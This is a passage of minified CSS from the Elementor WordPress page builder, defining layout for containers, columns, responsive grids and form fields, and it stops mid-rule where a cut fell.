.elementor-container{flex-wrap:wrap}}.elementor-section.elementor-section-boxed>.elementor-container{max-width:1140px}.elementor-section.elementor-section-stretched{position:relative;width:100%}.elementor-section.elementor-section-items-top>.elementor-container{align-items:flex-start}.elementor-section.elementor-section-items-middle>.elementor-container{align-items:center}.elementor-section.elementor-section-items-bottom>.elementor-container{align-items:flex-end}@media (min-width:768px){.elementor-section.elementor-section-height-full{height:100vh}.elementor-section.elementor-section-height-full>.elementor-container{height:100%}}.elementor-bc-flex-widget .elementor-section-content-top>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:flex-start}.elementor-bc-flex-widget .elementor-section-content-middle>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:center}.elementor-bc-flex-widget .elementor-section-content-bottom>.elementor-container>.elementor-column>.elementor-widget-wrap{align-items:flex-end}.elementor-row{width:100%;display:flex}@media (max-width:1024px){.elementor-row{flex-wrap:wrap}}.elementor-widget-wrap{position:relative;width:100%;flex-wrap:wrap;align-content:flex-start}.elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap{display:flex}.elementor-widget-wrap>.elementor-element{width:100%}.elementor-widget-wrap.e-swiper-container{width:calc(100% - (var(--e-column-margin-left, 0px) + var(--e-column-margin-right, 0px)))}.elementor-widget{position:relative}.elementor-widget:not(:last-child){margin-bottom:20px}.elementor-widget:not(:last-child).elementor-absolute,.elementor-widget:not(:last-child).elementor-widget__width-auto,.elementor-widget:not(:last-child).elementor-widget__width-initial{margin-bottom:0}.elementor-column{position:relative;min-height:1px;display:flex}.elementor-column-wrap{width:100%;position:relative;display:flex}.elementor-column-gap-narrow>.elementor-column>.elementor-element-populated{padding:5px}.elementor-column-gap-default>.elementor-column>.elementor-element-populated{padding:10px}.elementor-column-gap-extended>.elementor-column>.elementor-element-populated{padding:15px}.elementor-column-gap-wide>.elementor-column>.elementor-element-populated{padding:20px}.elementor-column-gap-wider>.elementor-column>.elementor-element-populated{padding:30px}.elementor-inner-section .elementor-column-gap-no .elementor-element-populated{padding:0}@media (min-width:768px){.elementor-column.elementor-col-10,.elementor-column[data-col="10"]{width:10%}.elementor-column.elementor-col-11,.elementor-column[data-col="11"]{width:11.111%}.elementor-column.elementor-col-12,.elementor-column[data-col="12"]{width:12.5%}.elementor-column.elementor-col-14,.elementor-column[data-col="14"]{width:14.285%}.elementor-column.elementor-col-16,.elementor-column[data-col="16"]{width:16.666%}.elementor-column.elementor-col-20,.elementor-column[data-col="20"]{width:20%}.elementor-column.elementor-col-25,.elementor-column[data-col="25"]{width:25%}.elementor-column.elementor-col-30,.elementor-column[data-col="30"]{width:30%}.elementor-column.elementor-col-33,.elementor-column[data-col="33"]{width:33.333%}.elementor-column.elementor-col-40,.elementor-column[data-col="40"]{width:40%}.elementor-column.elementor-col-50,.elementor-column[data-col="50"]{width:50%}.elementor-column.elementor-col-60,.elementor-column[data-col="60"]{width:60%}.elementor-column.elementor-col-66,.elementor-column[data-col="66"]{width:66.666%}.elementor-column.elementor-col-70,.elementor-column[data-col="70"]{width:70%}.elementor-column.elementor-col-75,.elementor-column[data-col="75"]{width:75%}.elementor-column.elementor-col-80,.elementor-column[data-col="80"]{width:80%}.elementor-column.elementor-col-83,.elementor-column[data-col="83"]{width:83.333%}.elementor-column.elementor-col-90,.elementor-column[data-col="90"]{width:90%}.elementor-column.elementor-col-100,.elementor-column[data-col="100"]{width:100%}}@media (max-width:479px){.elementor-column.elementor-xs-10{width:10%}.elementor-column.elementor-xs-11{width:11.111%}.elementor-column.elementor-xs-12{width:12.5%}.elementor-column.elementor-xs-14{width:14.285%}.elementor-column.elementor-xs-16{width:16.666%}.elementor-column.elementor-xs-20{width:20%}.elementor-column.elementor-xs-25{width:25%}.elementor-column.elementor-xs-30{width:30%}.elementor-column.elementor-xs-33{width:33.333%}.elementor-column.elementor-xs-40{width:40%}.elementor-column.elementor-xs-50{width:50%}.elementor-column.elementor-xs-60{width:60%}.elementor-column.elementor-xs-66{width:66.666%}.elementor-column.elementor-xs-70{width:70%}.elementor-column.elementor-xs-75{width:75%}.elementor-column.elementor-xs-80{width:80%}.elementor-column.elementor-xs-83{width:83.333%}.elementor-column.elementor-xs-90{width:90%}.elementor-column.elementor-xs-100{width:100%}}@media (max-width:767px){.elementor-column.elementor-sm-10{width:10%}.elementor-column.elementor-sm-11{width:11.111%}.elementor-column.elementor-sm-12{width:12.5%}.elementor-column.elementor-sm-14{width:14.285%}.elementor-column.elementor-sm-16{width:16.666%}.elementor-column.elementor-sm-20{width:20%}.elementor-column.elementor-sm-25{width:25%}.elementor-column.elementor-sm-30{width:30%}.elementor-column.elementor-sm-33{width:33.333%}.elementor-column.elementor-sm-40{width:40%}.elementor-column.elementor-sm-50{width:50%}.elementor-column.elementor-sm-60{width:60%}.elementor-column.elementor-sm-66{width:66.666%}.elementor-column.elementor-sm-70{width:70%}.elementor-column.elementor-sm-75{width:75%}.elementor-column.elementor-sm-80{width:80%}.elementor-column.elementor-sm-83{width:83.333%}.elementor-column.elementor-sm-90{width:90%}.elementor-column.elementor-sm-100{width:100%}}@media (min-width:768px) and (max-width:1024px){.elementor-column.elementor-md-10{width:10%}.elementor-column.elementor-md-11{width:11.111%}.elementor-column.elementor-md-12{width:12.5%}.elementor-column.elementor-md-14{width:14.285%}.elementor-column.elementor-md-16{width:16.666%}.elementor-column.elementor-md-20{width:20%}.elementor-column.elementor-md-25{width:25%}.elementor-column.elementor-md-30{width:30%}.elementor-column.elementor-md-33{width:33.333%}.elementor-column.elementor-md-40{width:40%}.elementor-column.elementor-md-50{width:50%}.elementor-column.elementor-md-60{width:60%}.elementor-column.elementor-md-66{width:66.666%}.elementor-column.elementor-md-70{width:70%}.elementor-column.elementor-md-75{width:75%}.elementor-column.elementor-md-80{width:80%}.elementor-column.elementor-md-83{width:83.333%}.elementor-column.elementor-md-90{width:90%}.elementor-column.elementor-md-100{width:100%}}@media (min-width:-1){.elementor-reverse-widescreen>.elementor-container>:first-child{order:10}.elementor-reverse-widescreen>.elementor-container>:nth-child(2){order:9}.elementor-reverse-widescreen>.elementor-container>:nth-child(3){order:8}.elementor-reverse-widescreen>.elementor-container>:nth-child(4){order:7}.elementor-reverse-widescreen>.elementor-container>:nth-child(5){order:6}.elementor-reverse-widescreen>.elementor-container>:nth-child(6){order:5}.elementor-reverse-widescreen>.elementor-container>:nth-child(7){order:4}.elementor-reverse-widescreen>.elementor-container>:nth-child(8){order:3}.elementor-reverse-widescreen>.elementor-container>:nth-child(9){order:2}.elementor-reverse-widescreen>.elementor-container>:nth-child(10){order:1}}@media (min-width:1025px) and (max-width:-1){.elementor-reverse-laptop>.elementor-container>:first-child{order:10}.elementor-reverse-laptop>.elementor-container>:nth-child(2){order:9}.elementor-reverse-laptop>.elementor-container>:nth-child(3){order:8}.elementor-reverse-laptop>.elementor-container>:nth-child(4){order:7}.elementor-reverse-laptop>.elementor-container>:nth-child(5){order:6}.elementor-reverse-laptop>.elementor-container>:nth-child(6){order:5}.elementor-reverse-laptop>.elementor-container>:nth-child(7){order:4}.elementor-reverse-laptop>.elementor-container>:nth-child(8){order:3}.elementor-reverse-laptop>.elementor-container>:nth-child(9){order:2}.elementor-reverse-laptop>.elementor-container>:nth-child(10){order:1}}@media (min-width:-1) and (max-width:-1){.elementor-reverse-laptop>.elementor-container>:first-child{order:10}.elementor-reverse-laptop>.elementor-container>:nth-child(2){order:9}.elementor-reverse-laptop>.elementor-container>:nth-child(3){order:8}.elementor-reverse-laptop>.elementor-container>:nth-child(4){order:7}.elementor-reverse-laptop>.elementor-container>:nth-child(5){order:6}.elementor-reverse-laptop>.elementor-container>:nth-child(6){order:5}.elementor-reverse-laptop>.elementor-container>:nth-child(7){order:4}.elementor-reverse-laptop>.elementor-container>:nth-child(8){order:3}.elementor-reverse-laptop>.elementor-container>:nth-child(9){order:2}.elementor-reverse-laptop>.elementor-container>:nth-child(10){order:1}}@media (min-width:1025px) and (max-width:-1){.elementor-reverse-laptop>.elementor-container>:first-child,.elementor-reverse-laptop>.elementor-container>:nth-child(2),.elementor-reverse-laptop>.elementor-container>:nth-child(3),.elementor-reverse-laptop>.elementor-container>:nth-child(4),.elementor-reverse-laptop>.elementor-container>:nth-child(5),.elementor-reverse-laptop>.elementor-container>:nth-child(6),.elementor-reverse-laptop>.elementor-container>:nth-child(7),.elementor-reverse-laptop>.elementor-container>:nth-child(8),.elementor-reverse-laptop>.elementor-container>:nth-child(9),.elementor-reverse-laptop>.elementor-container>:nth-child(10){order:0}.elementor-reverse-tablet_extra>.elementor-container>:first-child{order:10}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(2){order:9}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(3){order:8}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(4){order:7}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(5){order:6}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(6){order:5}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(7){order:4}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(8){order:3}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(9){order:2}.elementor-reverse-tablet_extra>.elementor-container>:nth-child(10){order:1}}@media (min-width:768px) and (max-width:1024px){.elementor-reverse-tablet>.elementor-container>:first-child{order:10}.elementor-reverse-tablet>.elementor-container>:nth-child(2){order:9}.elementor-reverse-tablet>.elementor-container>:nth-child(3){order:8}.elementor-reverse-tablet>.elementor-container>:nth-child(4){order:7}.elementor-reverse-tablet>.elementor-container>:nth-child(5){order:6}.elementor-reverse-tablet>.elementor-container>:nth-child(6){order:5}.elementor-reverse-tablet>.elementor-container>:nth-child(7){order:4}.elementor-reverse-tablet>.elementor-container>:nth-child(8){order:3}.elementor-reverse-tablet>.elementor-container>:nth-child(9){order:2}.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:1}}@media (min-width:-1) and (max-width:1024px){.elementor-reverse-tablet>.elementor-container>:first-child{order:10}.elementor-reverse-tablet>.elementor-container>:nth-child(2){order:9}.elementor-reverse-tablet>.elementor-container>:nth-child(3){order:8}.elementor-reverse-tablet>.elementor-container>:nth-child(4){order:7}.elementor-reverse-tablet>.elementor-container>:nth-child(5){order:6}.elementor-reverse-tablet>.elementor-container>:nth-child(6){order:5}.elementor-reverse-tablet>.elementor-container>:nth-child(7){order:4}.elementor-reverse-tablet>.elementor-container>:nth-child(8){order:3}.elementor-reverse-tablet>.elementor-container>:nth-child(9){order:2}.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:1}}@media (min-width:768px) and (max-width:-1){.elementor-reverse-tablet>.elementor-container>:first-child,.elementor-reverse-tablet>.elementor-container>:nth-child(2),.elementor-reverse-tablet>.elementor-container>:nth-child(3),.elementor-reverse-tablet>.elementor-container>:nth-child(4),.elementor-reverse-tablet>.elementor-container>:nth-child(5),.elementor-reverse-tablet>.elementor-container>:nth-child(6),.elementor-reverse-tablet>.elementor-container>:nth-child(7),.elementor-reverse-tablet>.elementor-container>:nth-child(8),.elementor-reverse-tablet>.elementor-container>:nth-child(9),.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:0}.elementor-reverse-mobile_extra>.elementor-container>:first-child{order:10}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(2){order:9}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(3){order:8}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(4){order:7}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(5){order:6}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(6){order:5}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(7){order:4}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(8){order:3}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(9){order:2}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(10){order:1}}@media (max-width:767px){.elementor-reverse-mobile>.elementor-container>:first-child{order:10}.elementor-reverse-mobile>.elementor-container>:nth-child(2){order:9}.elementor-reverse-mobile>.elementor-container>:nth-child(3){order:8}.elementor-reverse-mobile>.elementor-container>:nth-child(4){order:7}.elementor-reverse-mobile>.elementor-container>:nth-child(5){order:6}.elementor-reverse-mobile>.elementor-container>:nth-child(6){order:5}.elementor-reverse-mobile>.elementor-container>:nth-child(7){order:4}.elementor-reverse-mobile>.elementor-container>:nth-child(8){order:3}.elementor-reverse-mobile>.elementor-container>:nth-child(9){order:2}.elementor-reverse-mobile>.elementor-container>:nth-child(10){order:1}.elementor-column{width:100%}}ul.elementor-icon-list-items.elementor-inline-items{display:flex;flex-wrap:wrap}ul.elementor-icon-list-items.elementor-inline-items .elementor-inline-item{word-break:break-word}.elementor-grid{display:grid;grid-column-gap:var(--grid-column-gap);grid-row-gap:var(--grid-row-gap)}.elementor-grid .elementor-grid-item{min-width:0}.elementor-grid-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}@media (min-width:-1){.elementor-grid-widescreen-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-widescreen-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-widescreen-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-widescreen-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-widescreen-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-widescreen-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-widescreen-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-widescreen-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-widescreen-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-widescreen-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-widescreen-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-widescreen-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-widescreen-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-widescreen-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:-1){.elementor-grid-laptop-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-laptop-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-laptop-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-laptop-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-laptop-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-laptop-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-laptop-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-laptop-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-laptop-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-laptop-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-laptop-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-laptop-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-laptop-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-laptop-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:-1){.elementor-grid-tablet_extra-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-tablet_extra-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-tablet_extra-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-tablet_extra-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-tablet_extra-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-tablet_extra-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-tablet_extra-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-tablet_extra-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-tablet_extra-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-tablet_extra-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-tablet_extra-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-tablet_extra-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-tablet_extra-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-tablet_extra-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:1024px){.elementor-grid-tablet-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-tablet-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-tablet-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-tablet-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-tablet-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-tablet-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-tablet-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-tablet-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-tablet-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-tablet-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-tablet-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-tablet-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-tablet-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-tablet-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:-1){.elementor-grid-mobile_extra-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-mobile_extra-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-mobile_extra-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-mobile_extra-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-mobile_extra-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-mobile_extra-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-mobile_extra-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-mobile_extra-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-mobile_extra-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-mobile_extra-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-mobile_extra-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-mobile_extra-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-mobile_extra-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-mobile_extra-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:767px){.elementor-grid-mobile-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-mobile-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-mobile-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-mobile-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-mobile-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-mobile-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-mobile-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-mobile-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-mobile-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-mobile-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-mobile-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-mobile-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-mobile-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-mobile-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (min-width:1025px){#elementor-device-mode:after{content:"desktop"}}@media (min-width:-1){#elementor-device-mode:after{content:"widescreen"}}@media (max-width:-1){#elementor-device-mode:after{content:"laptop";content:"tablet_extra"}}@media (max-width:1024px){#elementor-device-mode:after{content:"tablet"}}@media (max-width:-1){#elementor-device-mode:after{content:"mobile_extra"}}@media (max-width:767px){#elementor-device-mode:after{content:"mobile"}}.e-con{--border-radius:0;--border-top-width:0px;--border-right-width:0px;--border-bottom-width:0px;--border-left-width:0px;--border-style:initial;--border-color:initial;--container-widget-width:100%;--container-widget-height:initial;--container-widget-flex-grow:0;--container-widget-align-self:initial;--content-width:min(100%,var(--container-max-width,1140px));--width:100%;--min-height:initial;--height:auto;--text-align:initial;--margin-top:0px;--margin-right:0px;--margin-bottom:0px;--margin-left:0px;--padding-top:var(--container-default-padding-top,10px);--padding-right:var(--container-default-padding-right,10px);--padding-bottom:var(--container-default-padding-bottom,10px);--padding-left:var(--container-default-padding-left,10px);--position:relative;--z-index:revert;--overflow:visible;--gap:var(--widgets-spacing,20px);--overlay-mix-blend-mode:initial;--overlay-opacity:1;--overlay-transition:0.3s;--e-con-grid-template-columns:repeat(3,1fr);--e-con-grid-template-rows:repeat(2,1fr);position:var(--position);width:var(--width);min-width:0;min-height:var(--min-height);height:var(--height);border-radius:var(--border-radius);z-index:var(--z-index);overflow:var(--overflow);transition:background var(--background-transition,.3s),border var(--border-transition,.3s),box-shadow var(--border-transition,.3s),transform var(--e-con-transform-transition-duration,.4s);--flex-wrap-mobile:wrap;margin-block-start:var(--margin-block-start);margin-inline-end:var(--margin-inline-end);margin-block-end:var(--margin-block-end);margin-inline-start:var(--margin-inline-start);padding-inline-start:var(--padding-inline-start);padding-inline-end:var(--padding-inline-end);--margin-block-start:var(--margin-top);--margin-block-end:var(--margin-bottom);--margin-inline-start:var(--margin-left);--margin-inline-end:var(--margin-right);--padding-inline-start:var(--padding-left);--padding-inline-end:var(--padding-right);--padding-block-start:var(--padding-top);--padding-block-end:var(--padding-bottom);--border-block-start-width:var(--border-top-width);--border-block-end-width:var(--border-bottom-width);--border-inline-start-width:var(--border-left-width);--border-inline-end-width:var(--border-right-width)}body.rtl .e-con{--padding-inline-start:var(--padding-right);--padding-inline-end:var(--padding-left);--margin-inline-start:var(--margin-right);--margin-inline-end:var(--margin-left);--border-inline-start-width:var(--border-right-width);--border-inline-end-width:var(--border-left-width)}.e-con.e-flex{--flex-direction:column;--flex-basis:auto;--flex-grow:0;--flex-shrink:1;flex:var(--flex-grow) var(--flex-shrink) var(--flex-basis)}.e-con-full,.e-con>.e-con-inner{text-align:var(--text-align);padding-block-start:var(--padding-block-start);padding-block-end:var(--padding-block-end)}.e-con-full.e-flex,.e-con.e-flex>.e-con-inner{flex-direction:var(--flex-direction)}.e-con,.e-con>.e-con-inner{display:var(--display)}.e-con.e-grid{--grid-justify-content:start;--grid-align-content:start;--grid-auto-flow:row}.e-con.e-grid,.e-con.e-grid>.e-con-inner{grid-template-columns:var(--e-con-grid-template-columns);grid-template-rows:var(--e-con-grid-template-rows);justify-content:var(--grid-justify-content);align-content:var(--grid-align-content);grid-auto-flow:var(--grid-auto-flow);justify-items:var(--justify-items);align-items:var(--align-items)}.e-con-boxed.e-flex{flex-direction:column;flex-wrap:nowrap;justify-content:normal;align-items:normal;align-content:normal}.e-con-boxed.e-grid{justify-items:legacy;grid-template-columns:1fr;grid-template-rows:1fr}.e-con-boxed{text-align:initial;gap:initial}.e-con.e-flex>.e-con-inner{flex-wrap:var(--flex-wrap);justify-content:var(--justify-content);align-items:var(--align-items);align-content:var(--align-content);flex-basis:auto;flex-grow:1;flex-shrink:1;align-self:auto}.e-con.e-grid>.e-con-inner{justify-items:var(--justify-items);align-items:var(--align-items)}.e-con>.e-con-inner{gap:var(--gap);width:100%;max-width:var(--content-width);margin:0 auto;padding-inline-start:0;padding-inline-end:0;height:100%}:is(.elementor-section-wrap,[data-elementor-id])>.e-con{--margin-left:auto;--margin-right:auto;max-width:min(100%,var(--width))}.e-con .elementor-widget.elementor-widget{margin-block-end:0}.e-con:before,.e-con>.elementor-background-slideshow:before,.e-con>.elementor-motion-effects-container>.elementor-motion-effects-layer:before,:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container:before{content:var(--background-overlay);display:block;position:absolute;mix-blend-mode:var(--overlay-mix-blend-mode);opacity:var(--overlay-opacity);transition:var(--overlay-transition,.3s);border-radius:var(--border-radius);border-style:var(--border-style);border-color:var(--border-color);border-block-start-width:var(--border-block-start-width);border-inline-end-width:var(--border-inline-end-width);border-block-end-width:var(--border-block-end-width);border-inline-start-width:var(--border-inline-start-width);top:calc(0px - var(--border-top-width));left:calc(0px - var(--border-left-width));width:max(100% + var(--border-left-width) + var(--border-right-width),100%);height:max(100% + var(--border-top-width) + var(--border-bottom-width),100%)}.e-con:before{transition:background var(--overlay-transition,.3s),border-radius var(--border-transition,.3s),opacity var(--overlay-transition,.3s)}.e-con>.elementor-background-slideshow,:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container{border-radius:var(--border-radius);border-style:var(--border-style);border-color:var(--border-color);border-block-start-width:var(--border-block-start-width);border-inline-end-width:var(--border-inline-end-width);border-block-end-width:var(--border-block-end-width);border-inline-start-width:var(--border-inline-start-width);top:calc(0px - var(--border-top-width));left:calc(0px - var(--border-left-width));width:max(100% + var(--border-left-width) + var(--border-right-width),100%);height:max(100% + var(--border-top-width) + var(--border-bottom-width),100%)}@media (max-width:767px){:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container.elementor-hidden-phone{display:none}}:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container:before{z-index:1}:is(.e-con,.e-con>.e-con-inner)>.elementor-background-slideshow:before{z-index:2}.e-con .elementor-widget{min-width:0}.e-con .elementor-widget-empty,.e-con .elementor-widget-google_maps,.e-con .elementor-widget-video,.e-con .elementor-widget.e-widget-swiper{width:100%}.e-con>.e-con-inner>.elementor-widget>.elementor-widget-container,.e-con>.elementor-widget>.elementor-widget-container{height:100%}.e-con.e-con>.e-con-inner>.elementor-widget,.elementor.elementor .e-con>.elementor-widget{max-width:100%}@media (max-width:767px){.e-con.e-flex{--width:100%;--flex-wrap:var(--flex-wrap-mobile)}}.elementor-form-fields-wrapper{display:flex;flex-wrap:wrap}.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group .elementor-field-subgroup,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>.elementor-select-wrapper,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>input,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>textarea{flex-basis:100%;max-width:100%}.elementor-form-fields-wrapper.elementor-labels-inline>.elementor-field-group .elementor-select-wrapper,.elementor-form-fields-wrapper.elementor-labels-inline>.elementor-field-group>input{flex-grow:1}.elementor-field-group{flex-wrap:wrap;align-items:center}.elementor-field-group.elementor-field-type-submit{align-items:flex-end}.elementor-field-group .elementor-field-textual{width:100%;max-width:100%;border:1px solid #69727d;background-color:transparent;color:#1f2124;vertical-align:middle;flex-grow:1}.elementor-field-group .elementor-field-textual:focus{box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);outline:0}.elementor-field-group .elementor-field-textual::-moz-placeholder{color:inherit;font-family:inherit;opacity:.6}.elementor-field-group .elementor-field-textual::placeholder{color:inherit;font-family:inherit;opacity:.6}.elementor-field-group .elementor-select-wrapper{display:flex;position:relative;width:100%}.elementor-field-group .elementor-select-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;color:inherit;font-size:inherit;font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-end:20px}.elementor-field-group .elementor-select-wrapper:before{content:"\e92a";font-family:eicons;font-size:15px;position:absolute;top:50%;transform:translateY(-50%);left:10px;pointer-events:none;text-shadow:0 0 3px 